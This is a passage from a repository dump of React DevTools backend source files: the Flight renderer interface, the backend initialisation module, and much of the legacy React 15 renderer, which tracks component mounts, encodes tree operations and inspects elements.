         info += '\\n' + formatOwnerStack(ownerStack);\n        }\n      } else {\n        break;\n      }\n    }\n    return info;\n  } catch (x) {\n    return '\\nError generating stack: ' + x.message + '\\n' + x.stack;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/flight/renderer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nimport type {DevToolsHook, ReactRenderer, RendererInterface} from '../types';\n\nimport {getOwnerStackByComponentInfoInDev} from './DevToolsComponentInfoStack';\n\nimport {formatOwnerStack} from '../shared/DevToolsOwnerStack';\n\nimport {componentInfoToComponentLogsMap} from '../shared/DevToolsServerComponentLogs';\n\nimport {formatConsoleArgumentsToSingleString} from 'react-devtools-shared/src/backend/utils';\n\nfunction supportsConsoleTasks(componentInfo: ReactComponentInfo): boolean {\n  // If this ReactComponentInfo supports native console.createTask then we are already running\n  // inside a native async stack trace if it's active - meaning the DevTools is open.\n  // Ideally we'd detect if this task was created while the DevTools was open or not.\n  return !!componentInfo.debugTask;\n}\n\nexport function attach(\n  hook: DevToolsHook,\n  rendererID: number,\n  renderer: ReactRenderer,\n  global: Object,\n): RendererInterface {\n  const {getCurrentComponentInfo} = renderer;\n\n  function getComponentStack(\n    topFrame: Error,\n  ): null | {enableOwnerStacks: boolean, componentStack: string} {\n    if (getCurrentComponentInfo === undefined) {\n      // Expected this to be part of the renderer. Ignore.\n      return null;\n    }\n    const current = getCurrentComponentInfo();\n    if (current === null) {\n      // Outside of our render scope.\n      return null;\n    }\n\n    if (supportsConsoleTasks(current)) {\n      // This will be handled natively by console.createTask. No need for\n      // DevTools to add it.\n      return null;\n    }\n\n    const enableOwnerStacks = current.debugStack != null;\n    let componentStack = '';\n    if (enableOwnerStacks) {\n      // Prefix the owner stack with the current stack. I.e. what called\n      // console.error. While this will also be part of the native stack,\n      // it is hidden and not presented alongside this argument so we print\n      // them all together.\n      const topStackFrames = formatOwnerStack(topFrame);\n      if (topStackFrames) {\n        componentStack += '\\n' + topStackFrames;\n      }\n      componentStack += getOwnerStackByComponentInfoInDev(current);\n    }\n    return {enableOwnerStacks, componentStack};\n  }\n\n  // Called when an error or warning is logged during render, commit, or passive (including unmount functions).\n  function onErrorOrWarning(\n    type: 'error' | 'warn',\n    args: $ReadOnlyArray<any>,\n  ): void {\n    if (getCurrentComponentInfo === undefined) {\n      // Expected this to be part of the renderer. Ignore.\n      return;\n    }\n    const componentInfo = getCurrentComponentInfo();\n    if (componentInfo === null) {\n      // Outside of our render scope.\n      return;\n    }\n\n    if (\n      args.length > 3 &&\n      typeof args[0] === 'string' &&\n      args[0].startsWith('%c%s%c ') &&\n      typeof args[1] === 'string' &&\n      typeof args[2] === 'string' &&\n      typeof args[3] === 'string'\n    ) {\n      // This looks like the badge we prefixed to the log. Our UI doesn't support formatted logs.\n      // We remove the formatting. If the environment of the log is the same as the environment of\n      // the component (the common case) we remove the badge completely otherwise leave it plain\n      const format = args[0].slice(7);\n      const env = args[2].trim();\n      args = args.slice(4);\n      if (env !== componentInfo.env) {\n        args.unshift('[' + env + '] ' + format);\n      } else {\n        args.unshift(format);\n      }\n    }\n\n    // We can't really use this message as a unique key, since we can't distinguish\n    // different objects in this implementation. We have to delegate displaying of the objects\n    // to the environment, the browser console, for example, so this is why this should be kept\n    // as an array of arguments, instead of the plain string.\n    // [Warning: %o, {...}] and [Warning: %o, {...}] will be considered as the same message,\n    // even if objects are different\n    const message = formatConsoleArgumentsToSingleString(...args);\n\n    // Track the warning/error for later.\n    let componentLogsEntry = componentInfoToComponentLogsMap.get(componentInfo);\n    if (componentLogsEntry === undefined) {\n      componentLogsEntry = {\n        errors: new Map(),\n        errorsCount: 0 as number,\n        warnings: new Map(),\n        warningsCount: 0 as number,\n      };\n      componentInfoToComponentLogsMap.set(componentInfo, componentLogsEntry);\n    }\n\n    const messageMap =\n      type === 'error'\n        ? componentLogsEntry.errors\n        : componentLogsEntry.warnings;\n    const count = messageMap.get(message) || 0;\n    messageMap.set(message, count + 1);\n    if (type === 'error') {\n      componentLogsEntry.errorsCount++;\n    } else {\n      componentLogsEntry.warningsCount++;\n    }\n\n    // The changes will be flushed later when we commit this tree to Fiber.\n  }\n\n  const supportsTogglingSuspense = false;\n\n  return {\n    cleanup() {},\n    clearErrorsAndWarnings() {},\n    clearErrorsForElementID() {},\n    clearWarningsForElementID() {},\n    getSerializedElementValueByPath() {},\n    deletePath() {},\n    findHostInstancesForElementID() {\n      return null;\n    },\n    findLastKnownRectsForID() {\n      return null;\n    },\n    flushInitialOperations() {},\n    getBestMatchForTrackedPath() {\n      return null;\n    },\n    getComponentStack,\n    getDisplayNameForElementID() {\n      return null;\n    },\n    getNearestMountedDOMNode() {\n      return null;\n    },\n    getElementIDForHostInstance() {\n      return null;\n    },\n    getSuspenseNodeIDForHostInstance() {\n      return null;\n    },\n    getInstanceAndStyle() {\n      return {\n        instance: null,\n        style: null,\n      };\n    },\n    getOwnersList() {\n      return null;\n    },\n    getPathForElement() {\n      return null;\n    },\n    getProfilingData() {\n      throw new Error('getProfilingData not supported by this renderer');\n    },\n    handleCommitFiberRoot() {},\n    handleCommitFiberUnmount() {},\n    handlePostCommitFiberRoot() {},\n    hasElementWithId() {\n      return false;\n    },\n    inspectElement(\n      requestID: number,\n      id: number,\n      path: Array<string | number> | null,\n    ) {\n      return {\n        id,\n        responseID: requestID,\n        type: 'not-found',\n      };\n    },\n    logElementToConsole() {},\n    getElementAttributeByPath() {},\n    getElementSourceFunctionById() {},\n    onErrorOrWarning,\n    overrideError() {},\n    overrideSuspense() {},\n    overrideSuspenseMilestone() {},\n    overrideValueAtPath() {},\n    renamePath() {},\n    renderer,\n    setTraceUpdatesEnabled() {},\n    setTrackedPath() {},\n    startProfiling() {},\n    stopProfiling() {},\n    storeAsGlobal() {},\n    supportsTogglingSuspense,\n    updateComponentFilters() {},\n    getEnvironmentNames() {\n      return [];\n    },\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport Agent from './agent';\n\nimport type {DevToolsHook, RendererID, RendererInterface} from './types';\n\nexport type InitBackend = typeof initBackend;\n\nexport function initBackend(\n  hook: DevToolsHook,\n  agent: Agent,\n  global: Object,\n  isReloadAndProfileSupported: boolean,\n): () => void {\n  if (hook == null) {\n    // DevTools didn't get injected into this page (maybe b'c of the contentType).\n    return () => {};\n  }\n\n  function registerRendererInterface(\n    id: RendererID,\n    rendererInterface: RendererInterface,\n  ) {\n    agent.registerRendererInterface(id, rendererInterface);\n\n    // Now that the Store and the renderer interface are connected,\n    // it's time to flush the pending operation codes to the frontend.\n    rendererInterface.flushInitialOperations();\n  }\n\n  const subs = [\n    hook.sub(\n      'renderer-attached',\n      ({\n        id,\n        rendererInterface,\n      }: {\n        id: number,\n        rendererInterface: RendererInterface,\n      }) => {\n        registerRendererInterface(id, rendererInterface);\n      },\n    ),\n    hook.sub('unsupported-renderer-version', () => {\n      agent.onUnsupportedRenderer();\n    }),\n\n    hook.sub('fastRefreshScheduled', agent.onFastRefreshScheduled),\n    hook.sub('operations', agent.onHookOperations),\n    hook.sub('traceUpdates', agent.onTraceUpdates),\n    hook.sub('settingsInitialized', agent.onHookSettings),\n\n    // TODO Add additional subscriptions required for profiling mode\n  ];\n\n  agent.addListener('getIfHasUnsupportedRendererVersion', () => {\n    if (hook.hasUnsupportedRendererAttached) {\n      agent.onUnsupportedRenderer();\n    }\n  });\n\n  hook.rendererInterfaces.forEach((rendererInterface, id) => {\n    registerRendererInterface(id, rendererInterface);\n  });\n\n  hook.emit('react-devtools', agent);\n  hook.reactDevtoolsAgent = agent;\n\n  const onAgentShutdown = () => {\n    subs.forEach(fn => fn());\n    hook.rendererInterfaces.forEach(rendererInterface => {\n      rendererInterface.cleanup();\n    });\n    hook.reactDevtoolsAgent = null;\n  };\n\n  // Agent's event listeners are cleaned up by Agent in `shutdown` implementation.\n  agent.addListener('shutdown', onAgentShutdown);\n  agent.addListener('updateHookSettings', settings => {\n    hook.settings = settings;\n  });\n  agent.addListener('getHookSettings', () => {\n    if (hook.settings != null) {\n      agent.onHookSettings(hook.settings);\n    }\n  });\n\n  if (isReloadAndProfileSupported) {\n    agent.onReloadAndProfileSupportedByHost();\n  }\n\n  return () => {\n    subs.forEach(fn => fn());\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/legacy/renderer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  ElementTypeClass,\n  ElementTypeFunction,\n  ElementTypeRoot,\n  ElementTypeHostComponent,\n  ElementTypeOtherOrUnknown,\n} from 'react-devtools-shared/src/frontend/types';\nimport {getUID, utfEncodeString, printOperationsArray} from '../../utils';\nimport {\n  cleanForBridge,\n  copyWithDelete,\n  copyWithRename,\n  copyWithSet,\n  serializeToString,\n} from '../utils';\nimport {\n  deletePathInObject,\n  getDisplayName,\n  getInObject,\n  renamePathInObject,\n  setInObject,\n} from 'react-devtools-shared/src/utils';\nimport {\n  __DEBUG__,\n  TREE_OPERATION_ADD,\n  TREE_OPERATION_REMOVE,\n  TREE_OPERATION_REORDER_CHILDREN,\n  SUSPENSE_TREE_OPERATION_ADD,\n  SUSPENSE_TREE_OPERATION_REMOVE,\n  UNKNOWN_SUSPENDERS_NONE,\n} from '../../constants';\nimport {decorateMany, forceUpdate, restoreMany} from './utils';\n\nimport type {\n  DevToolsHook,\n  GetElementIDForHostInstance,\n  InspectedElementPayload,\n  InstanceAndStyle,\n  HostInstance,\n  PathFrame,\n  PathMatch,\n  RendererInterface,\n} from '../types';\nimport type {\n  ComponentFilter,\n  ElementType,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {InspectedElement, SerializedElement} from '../types';\n\nexport type InternalInstance = Object;\ntype LegacyRenderer = Object;\n\nfunction getData(internalInstance: InternalInstance) {\n  let displayName = null;\n  let key = null;\n\n  // != used deliberately here to catch undefined and null\n  if (internalInstance._currentElement != null) {\n    if (internalInstance._currentElement.key) {\n      key = String(internalInstance._currentElement.key);\n    }\n\n    const elementType = internalInstance._currentElement.type;\n    if (typeof elementType === 'string') {\n      displayName = elementType;\n    } else if (typeof elementType === 'function') {\n      displayName = getDisplayName(elementType);\n    }\n  }\n\n  return {\n    displayName,\n    key,\n  };\n}\n\nfunction getElementType(internalInstance: InternalInstance): ElementType {\n  // != used deliberately here to catch undefined and null\n  if (internalInstance._currentElement != null) {\n    const elementType = internalInstance._currentElement.type;\n    if (typeof elementType === 'function') {\n      const publicInstance = internalInstance.getPublicInstance();\n      if (publicInstance !== null) {\n        return ElementTypeClass;\n      } else {\n        return ElementTypeFunction;\n      }\n    } else if (typeof elementType === 'string') {\n      return ElementTypeHostComponent;\n    }\n  }\n  return ElementTypeOtherOrUnknown;\n}\n\nfunction getChildren(internalInstance: Object): Array<any> {\n  const children = [];\n\n  // If the parent is a native node without rendered children, but with\n  // multiple string children, then the `element` that gets passed in here is\n  // a plain value -- a string or number.\n  if (typeof internalInstance !== 'object') {\n    // No children\n  } else if (\n    internalInstance._currentElement === null ||\n    internalInstance._currentElement === false\n  ) {\n    // No children\n  } else if (internalInstance._renderedComponent) {\n    const child = internalInstance._renderedComponent;\n    if (getElementType(child) !== ElementTypeOtherOrUnknown) {\n      children.push(child);\n    }\n  } else if (internalInstance._renderedChildren) {\n    const renderedChildren = internalInstance._renderedChildren;\n    for (const name in renderedChildren) {\n      const child = renderedChildren[name];\n      if (getElementType(child) !== ElementTypeOtherOrUnknown) {\n        children.push(child);\n      }\n    }\n  }\n  // Note: we skip the case where children are just strings or numbers\n  // because the new DevTools skips over host text nodes anyway.\n  return children;\n}\n\nexport function attach(\n  hook: DevToolsHook,\n  rendererID: number,\n  renderer: LegacyRenderer,\n  global: Object,\n): RendererInterface {\n  const idToInternalInstanceMap: Map<number, InternalInstance> = new Map();\n  const internalInstanceToIDMap: WeakMap<InternalInstance, number> =\n    new WeakMap();\n  const internalInstanceToRootIDMap: WeakMap<InternalInstance, number> =\n    new WeakMap();\n\n  let getElementIDForHostInstance: GetElementIDForHostInstance =\n    ((null: any): GetElementIDForHostInstance);\n  let findHostInstanceForInternalID: (id: number) => ?HostInstance;\n  let getNearestMountedDOMNode = (node: Element): null | Element => {\n    // Not implemented.\n    return null;\n  };\n\n  if (renderer.ComponentTree) {\n    getElementIDForHostInstance = node => {\n      const internalInstance =\n        renderer.ComponentTree.getClosestInstanceFromNode(node);\n      return internalInstanceToIDMap.get(internalInstance) || null;\n    };\n    findHostInstanceForInternalID = (id: number) => {\n      const internalInstance = idToInternalInstanceMap.get(id);\n      return renderer.ComponentTree.getNodeFromInstance(internalInstance);\n    };\n    getNearestMountedDOMNode = (node: Element): null | Element => {\n      const internalInstance =\n        renderer.ComponentTree.getClosestInstanceFromNode(node);\n      if (internalInstance != null) {\n        return renderer.ComponentTree.getNodeFromInstance(internalInstance);\n      }\n      return null;\n    };\n  } else if (renderer.Mount.getID && renderer.Mount.getNode) {\n    getElementIDForHostInstance = node => {\n      // Not implemented.\n      return null;\n    };\n    findHostInstanceForInternalID = (id: number) => {\n      // Not implemented.\n      return null;\n    };\n  }\n\n  const supportsTogglingSuspense = false;\n\n  function getDisplayNameForElementID(id: number): string | null {\n    const internalInstance = idToInternalInstanceMap.get(id);\n    return internalInstance ? getData(internalInstance).displayName : null;\n  }\n\n  function getID(internalInstance: InternalInstance): number {\n    if (typeof internalInstance !== 'object' || internalInstance === null) {\n      throw new Error('Invalid internal instance: ' + internalInstance);\n    }\n    if (!internalInstanceToIDMap.has(internalInstance)) {\n      const id = getUID();\n      internalInstanceToIDMap.set(internalInstance, id);\n      idToInternalInstanceMap.set(id, internalInstance);\n    }\n    return ((internalInstanceToIDMap.get(internalInstance): any): number);\n  }\n\n  function areEqualArrays(a: Array<any>, b: Array<any>) {\n    if (a.length !== b.length) {\n      return false;\n    }\n    for (let i = 0; i < a.length; i++) {\n      if (a[i] !== b[i]) {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  // This is shared mutable state that lets us keep track of where we are.\n  let parentIDStack = [];\n\n  let oldReconcilerMethods = null;\n  if (renderer.Reconciler) {\n    // React 15\n    oldReconcilerMethods = decorateMany(renderer.Reconciler, {\n      mountComponent(fn, args) {\n        const internalInstance = args[0];\n        const hostContainerInfo = args[3];\n        if (getElementType(internalInstance) === ElementTypeOtherOrUnknown) {\n          // $FlowFixMe[object-this-reference] found when upgrading Flow\n          return fn.apply(this, args);\n        }\n        if (hostContainerInfo._topLevelWrapper === undefined) {\n          // SSR\n          // $FlowFixMe[object-this-reference] found when upgrading Flow\n          return fn.apply(this, args);\n        }\n\n        const id = getID(internalInstance);\n        // Push the operation.\n        const parentID =\n          parentIDStack.length > 0\n            ? parentIDStack[parentIDStack.length - 1]\n            : 0;\n        recordMount(internalInstance, id, parentID);\n        parentIDStack.push(id);\n\n        // Remember the root.\n        internalInstanceToRootIDMap.set(\n          internalInstance,\n          getID(hostContainerInfo._topLevelWrapper),\n        );\n\n        try {\n          // $FlowFixMe[object-this-reference] found when upgrading Flow\n          const result = fn.apply(this, args);\n          parentIDStack.pop();\n          return result;\n        } catch (err) {\n          parentIDStack = [];\n          throw err;\n        } finally {\n          if (parentIDStack.length === 0) {\n            const rootID = internalInstanceToRootIDMap.get(internalInstance);\n            if (rootID === undefined) {\n              throw new Error('Expected to find root ID.');\n            }\n            flushPendingEvents(rootID);\n          }\n        }\n      },\n      performUpdateIfNecessary(fn, args) {\n        const internalInstance = args[0];\n        if (getElementType(internalInstance) === ElementTypeOtherOrUnknown) {\n          // $FlowFixMe[object-this-reference] found when upgrading Flow\n          return fn.apply(this, args);\n        }\n\n        const id = getID(internalInstance);\n        parentIDStack.push(id);\n\n        const prevChildren = getChildren(internalInstance);\n        try {\n          // $FlowFixMe[object-this-reference] found when upgrading Flow\n          const result = fn.apply(this, args);\n\n          const nextChildren = getChildren(internalInstance);\n          if (!areEqualArrays(prevChildren, nextChildren)) {\n            // Push the operation\n            recordReorder(internalInstance, id, nextChildren);\n          }\n\n          parentIDStack.pop();\n          return result;\n        } catch (err) {\n          parentIDStack = [];\n          throw err;\n        } finally {\n          if (parentIDStack.length === 0) {\n            const rootID = internalInstanceToRootIDMap.get(internalInstance);\n            if (rootID === undefined) {\n              throw new Error('Expected to find root ID.');\n            }\n            flushPendingEvents(rootID);\n          }\n        }\n      },\n      receiveComponent(fn, args) {\n        const internalInstance = args[0];\n        if (getElementType(internalInstance) === ElementTypeOtherOrUnknown) {\n          // $FlowFixMe[object-this-reference] found when upgrading Flow\n          return fn.apply(this, args);\n        }\n\n        const id = getID(internalInstance);\n        parentIDStack.push(id);\n\n        const prevChildren = getChildren(internalInstance);\n        try {\n          // $FlowFixMe[object-this-reference] found when upgrading Flow\n          const result = fn.apply(this, args);\n\n          const nextChildren = getChildren(internalInstance);\n          if (!areEqualArrays(prevChildren, nextChildren)) {\n            // Push the operation\n            recordReorder(internalInstance, id, nextChildren);\n          }\n\n          parentIDStack.pop();\n          return result;\n        } catch (err) {\n          parentIDStack = [];\n          throw err;\n        } finally {\n          if (parentIDStack.length === 0) {\n            const rootID = internalInstanceToRootIDMap.get(internalInstance);\n            if (rootID === undefined) {\n              throw new Error('Expected to find root ID.');\n            }\n            flushPendingEvents(rootID);\n          }\n        }\n      },\n      unmountComponent(fn, args) {\n        const internalInstance = args[0];\n        if (getElementType(internalInstance) === ElementTypeOtherOrUnknown) {\n          // $FlowFixMe[object-this-reference] found when upgrading Flow\n          return fn.apply(this, args);\n        }\n\n        const id = getID(internalInstance);\n        parentIDStack.push(id);\n        try {\n          // $FlowFixMe[object-this-reference] found when upgrading Flow\n          const result = fn.apply(this, args);\n          parentIDStack.pop();\n\n          // Push the operation.\n          recordUnmount(internalInstance, id);\n\n          return result;\n        } catch (err) {\n          parentIDStack = [];\n          throw err;\n        } finally {\n          if (parentIDStack.length === 0) {\n            const rootID = internalInstanceToRootIDMap.get(internalInstance);\n            if (rootID === undefined) {\n              throw new Error('Expected to find root ID.');\n            }\n            flushPendingEvents(rootID);\n          }\n        }\n      },\n    });\n  }\n\n  function cleanup() {\n    if (oldReconcilerMethods !== null) {\n      if (renderer.Component) {\n        restoreMany(renderer.Component.Mixin, oldReconcilerMethods);\n      } else {\n        restoreMany(renderer.Reconciler, oldReconcilerMethods);\n      }\n    }\n    oldReconcilerMethods = null;\n  }\n\n  function recordMount(\n    internalInstance: InternalInstance,\n    id: number,\n    parentID: number,\n  ) {\n    const isRoot = parentID === 0;\n\n    if (__DEBUG__) {\n      console.log(\n        '%crecordMount()',\n        'color: green; font-weight: bold;',\n        id,\n        getData(internalInstance).displayName,\n      );\n    }\n\n    if (isRoot) {\n      // TODO Is this right? For all versions?\n      const hasOwnerMetadata =\n        internalInstance._currentElement != null &&\n        internalInstance._currentElement._owner != null;\n\n      pushOperation(TREE_OPERATION_ADD);\n      pushOperation(id);\n      pushOperation(ElementTypeRoot);\n      pushOperation(0); // StrictMode compliant?\n      pushOperation(0); // Profiling flag\n      pushOperation(0); // StrictMode supported?\n      pushOperation(hasOwnerMetadata ? 1 : 0);\n\n      pushOperation(SUSPENSE_TREE_OPERATION_ADD);\n      pushOperation(id);\n      pushOperation(parentID);\n      pushOperation(getStringID(null)); // name\n      pushOperation(0); // isSuspended\n      // TODO: Measure rect of root\n      pushOperation(-1);\n    } else {\n      const type = getElementType(internalInstance);\n      const {displayName, key} = getData(internalInstance);\n\n      const ownerID =\n        internalInstance._currentElement != null &&\n        internalInstance._currentElement._owner != null\n          ? getID(internalInstance._currentElement._owner)\n          : 0;\n\n      const displayNameStringID = getStringID(displayName);\n      const keyStringID = getStringID(key);\n      pushOperation(TREE_OPERATION_ADD);\n      pushOperation(id);\n      pushOperation(type);\n      pushOperation(parentID);\n      pushOperation(ownerID);\n      pushOperation(displayNameStringID);\n      pushOperation(keyStringID);\n      pushOperation(getStringID(null)); // name prop\n    }\n  }\n\n  function recordReorder(\n    internalInstance: InternalInstance,\n    id: number,\n    nextChildren: Array<InternalInstance>,\n  ) {\n    pushOperation(TREE_OPERATION_REORDER_CHILDREN);\n    pushOperation(id);\n    const nextChildIDs = nextChildren.map(getID);\n    pushOperation(nextChildIDs.length);\n    for (let i = 0; i < nextChildIDs.length; i++) {\n      pushOperation(nextChildIDs[i]);\n    }\n  }\n\n  function recordUnmount(internalInstance: InternalInstance, id: number) {\n    const isRoot = parentIDStack.length === 0;\n    if (isRoot) {\n      pendingUnmountedRootID = id;\n    } else {\n      pendingUnmountedIDs.push(id);\n    }\n    idToInternalInstanceMap.delete(id);\n  }\n\n  function crawlAndRecordInitialMounts(\n    id: number,\n    parentID: number,\n    rootID: number,\n  ) {\n    if (__DEBUG__) {\n      console.group('crawlAndRecordInitialMounts() id:', id);\n    }\n\n    const internalInstance = idToInternalInstanceMap.get(id);\n    if (internalInstance != null) {\n      internalInstanceToRootIDMap.set(internalInstance, rootID);\n      recordMount(internalInstance, id, parentID);\n      getChildren(internalInstance).forEach(child =>\n        crawlAndRecordInitialMounts(getID(child), id, rootID),\n      );\n    }\n\n    if (__DEBUG__) {\n      console.groupEnd();\n    }\n  }\n\n  function flushInitialOperations() {\n    // Crawl roots though and register any nodes that mounted before we were injected.\n\n    const roots =\n      renderer.Mount._instancesByReactRootID ||\n      renderer.Mount._instancesByContainerID;\n\n    for (const key in roots) {\n      const internalInstance = roots[key];\n      const id = getID(internalInstance);\n      crawlAndRecordInitialMounts(id, 0, id);\n      flushPendingEvents(id);\n    }\n  }\n\n  const pendingOperations: Array<number> = [];\n  const pendingStringTable: Map<string, number> = new Map();\n  let pendingUnmountedIDs: Array<number> = [];\n  let pendingStringTableLength: number = 0;\n  let pendingUnmountedRootID: number | null = null;\n\n  function flushPendingEvents(rootID: number) {\n    if (\n      pendingOperations.length === 0 &&\n      pendingUnmountedIDs.length === 0 &&\n      pendingUnmountedRootID === null\n    ) {\n      return;\n    }\n\n    const numUnmountIDs =\n      pendingUnmountedIDs.length + (pendingUnmountedRootID === null ? 0 : 1);\n\n    const operations = new Array<number>(\n      // Identify which renderer this update is coming from.\n      2 + // [rendererID, rootFiberID]\n        // How big is the string table?\n        1 + // [stringTableLength]\n        // Then goes the actual string table.\n        pendingStringTableLength +\n        // All unmounts are batched in a single message.\n        // [TREE_OPERATION_REMOVE, removedIDLength, ...ids]\n        (numUnmountIDs > 0 ? 2 + numUnmountIDs : 0) +\n        // [SUSPENSE_TREE_OPERATION_REMOVE, 1, pendingUnmountedRootID]\n        (pendingUnmountedRootID === null ? 0 : 3) +\n        // Mount operations\n        pendingOperations.length,\n    );\n\n    // Identify which renderer this update is coming from.\n    // This enables roots to be mapped to renderers,\n    // Which in turn enables fiber properations, states, and hooks to be inspected.\n    let i = 0;\n    operations[i++] = rendererID;\n    operations[i++] = rootID;\n\n    // Now fill in the string table.\n    // [stringTableLength, str1Length, ...str1, str2Length, ...str2, ...]\n    operations[i++] = pendingStringTableLength;\n    pendingStringTable.forEach((value, key) => {\n      operations[i++] = key.length;\n      const encodedKey = utfEncodeString(key);\n      for (let j = 0; j < encodedKey.length; j++) {\n        operations[i + j] = encodedKey[j];\n      }\n      i += key.length;\n    });\n\n    if (numUnmountIDs > 0) {\n      // All unmounts except roots are batched in a single message.\n      operations[i++] = TREE_OPERATION_REMOVE;\n      // The first number is how many unmounted IDs we're gonna send.\n      operations[i++] = numUnmountIDs;\n      // Fill in the unmounts\n      for (let j = 0; j < pendingUnmountedIDs.length; j++) {\n        operations[i++] = pendingUnmountedIDs[j];\n      }\n      // The root ID should always be unmounted last.\n      if (pendingUnmountedRootID !== null) {\n        operations[i] = pendingUnmountedRootID;\n        i++;\n\n        operations[i++] = SUSPENSE_TREE_OPERATION_REMOVE;\n        operations[i++] = 1;\n        operations[i++] = pendingUnmountedRootID;\n      }\n    }\n\n    // Fill in the rest of the operations.\n    for (let j = 0; j < pendingOperations.length; j++) {\n      operations[i + j] = pendingOperations[j];\n    }\n    i += pendingOperations.length;\n\n    if (__DEBUG__) {\n      printOperationsArray(operations);\n    }\n\n    // If we've already connected to the frontend, just pass the operations through.\n    hook.emit('operations', operations);\n\n    pendingOperations.length = 0;\n    pendingUnmountedIDs = [];\n    pendingUnmountedRootID = null;\n    pendingStringTable.clear();\n    pendingStringTableLength = 0;\n  }\n\n  function pushOperation(op: number): void {\n    if (__DEV__) {\n      if (!Number.isInteger(op)) {\n        console.error(\n          'pushOperation() was called but the value is not an integer.',\n          op,\n        );\n      }\n    }\n    pendingOperations.push(op);\n  }\n\n  function getStringID(str: string | null): number {\n    if (str === null) {\n      return 0;\n    }\n    const existingID = pendingStringTable.get(str);\n    if (existingID !== undefined) {\n      return existingID;\n    }\n    const stringID = pendingStringTable.size + 1;\n    pendingStringTable.set(str, stringID);\n    // The string table total length needs to account\n    // both for the string length, and for the array item\n    // that contains the length itself. Hence + 1.\n    pendingStringTableLength += str.length + 1;\n    return stringID;\n  }\n\n  let currentlyInspectedElementID: number | null = null;\n  let currentlyInspectedPaths: Object = {};\n\n  // Track the intersection of currently inspected paths,\n  // so that we can send their data along if the element is re-rendered.\n  function mergeInspectedPaths(path: Array<string | number>) {\n    let current = currentlyInspectedPaths;\n    path.forEach(key => {\n      if (!current[key]) {\n        current[key] = {};\n      }\n      current = current[key];\n    });\n  }\n\n  function createIsPathAllowed(key: string) {\n    // This function helps prevent previously-inspected paths from being dehydrated in updates.\n    // This is important to avoid a bad user experience where expanded toggles collapse on update.\n    return function isPathAllowed(path: Array<string | number>): boolean {\n      let current = currentlyInspectedPaths[key];\n      if (!current) {\n        return false;\n      }\n      for (let i = 0; i < path.length; i++) {\n        current = current[path[i]];\n        if (!current) {\n          return false;\n        }\n      }\n      return true;\n    };\n  }\n\n  // Fast path props lookup for React Native style editor.\n  function getInstanceAndStyle(id: number): InstanceAndStyle {\n    let instance = null;\n    let style = null;\n\n    const internalInstance = idToInternalInstanceMap.get(id);\n    if (internalInstance != null) {\n      instance = internalInstance._instance || null;\n\n      const element = internalInstance._currentElement;\n      if (element != null && element.props != null) {\n        style = element.props.style || null;\n      }\n    }\n\n    return {\n      instance,\n      style,\n    };\n  }\n\n  function updateSelectedElement(id: number): void {\n    const internalInstance = idToInternalInstanceMap.get(id);\n    if (internalInstance == null) {\n      console.warn(`Could not find instance with id \"${id}\"`);\n      return;\n    }\n\n    switch (getElementType(internalInstance)) {\n      case ElementTypeClass:\n        global.$r = internalInstance._instance;\n        break;\n      case ElementTypeFunction:\n        const element = internalInstance._currentElement;\n        if (element == null) {\n          console.warn(`Could not find element with id \"${id}\"`);\n          return;\n        }\n\n        global.$r = {\n          props: element.props,\n          type: element.type,\n        };\n        break;\n      default:\n        global.$r = null;\n        break;\n    }\n  }\n\n  function storeAsGlobal(\n    id: number,\n    path: Array<string | number>,\n    count: number,\n  ): void {\n    const inspectedElement = inspectElementRaw(id);\n    if (inspectedElement !== null) {\n      const value = getInObject(inspectedElement, path);\n      const key = `$reactTemp${count}`;\n\n      window[key] = value;\n\n      console.log(key);\n      console.log(value);\n    }\n  }\n\n  function getSerializedElementValueByPath(\n    id: number,\n    path: Array<string | number>,\n  ): ?string {\n    const inspectedElement = inspectElementRaw(id);\n    if (inspectedElement !== null) {\n      const valueToCopy = getInObject(inspectedElement, path);\n\n      return serializeToString(valueToCopy);\n    }\n  }\n\n  function inspectElement(\n    requestID: number,\n    id: number,\n    path: Array<string | number> | null,\n    forceFullData: boolean,\n  ): InspectedElementPayload {\n    if (forceFullData || currentlyInspectedElementID !== id) {\n      currentlyInspectedElementID = id;\n      currentlyInspectedPaths = {};\n    }\n\n    const inspectedElement = inspectElementRaw(id);\n    if (inspectedElement === null) {\n      return {\n        id,\n        responseID: requestID,\n        type: 'not-found',\n      };\n    }\n\n    if (path !== null) {\n      mergeInspectedPaths(path);\n    }\n\n    // Any time an inspected element has an update,\n    // we should update the selected $r value as wel.\n    // Do this before dehydration (cleanForBridge).\n    updateSelectedElement(id);\n\n    inspectedElement.context = cleanForBridge(\n      inspectedElement.context,\n      createIsPathAllowed('context'),\n    );\n    inspectedElement.props = cleanForBridge(\n      inspectedElement.props,\n      createIsPathAllowed('props'),\n    );\n    inspectedElement.state = cleanForBridge(\n      inspectedElement.state,\n      createIsPathAllowed('state'),\n    );\n    inspectedElement.suspendedBy = cleanForBridge(\n      inspectedElement.suspendedBy,\n      createIsPathAllowed('suspendedBy'),\n    );\n\n    return {\n      id,\n      responseID: requestID,\n      type: 'full-data',\n      value: inspectedElement,\n    };\n  }\n\n  function inspectElementRaw(id: number): InspectedElement | null {\n    const internalInstance = idToInternalInstanceMap.get(id);\n\n    if (internalInstance == null) {\n      return null;\n    }\n\n    const rootID = internalInstanceToRootIDMap.get(internalInstance);\n    if (rootID === undefined) {\n      throw new Error('Expected to find root ID.');\n    }\n    const isRoot = rootID === id;\n    return isRoot\n      ? inspectRootsRaw(rootID)\n      : inspectInternalInstanceRaw(id, internalInstance);\n  }\n\n  function inspectInternalInstanceRaw(\n    id: number,\n    internalInstance: InternalInstance,\n  ): InspectedElement | null {\n    const {key} = getData(internalInstance);\n    const type = getElementType(internalInstance);\n\n    let context = null;\n    let owners = null;\n    let props = null;\n    let state = null;\n\n    const element = internalInstance._currentElement;\n    if (element !== null) {\n      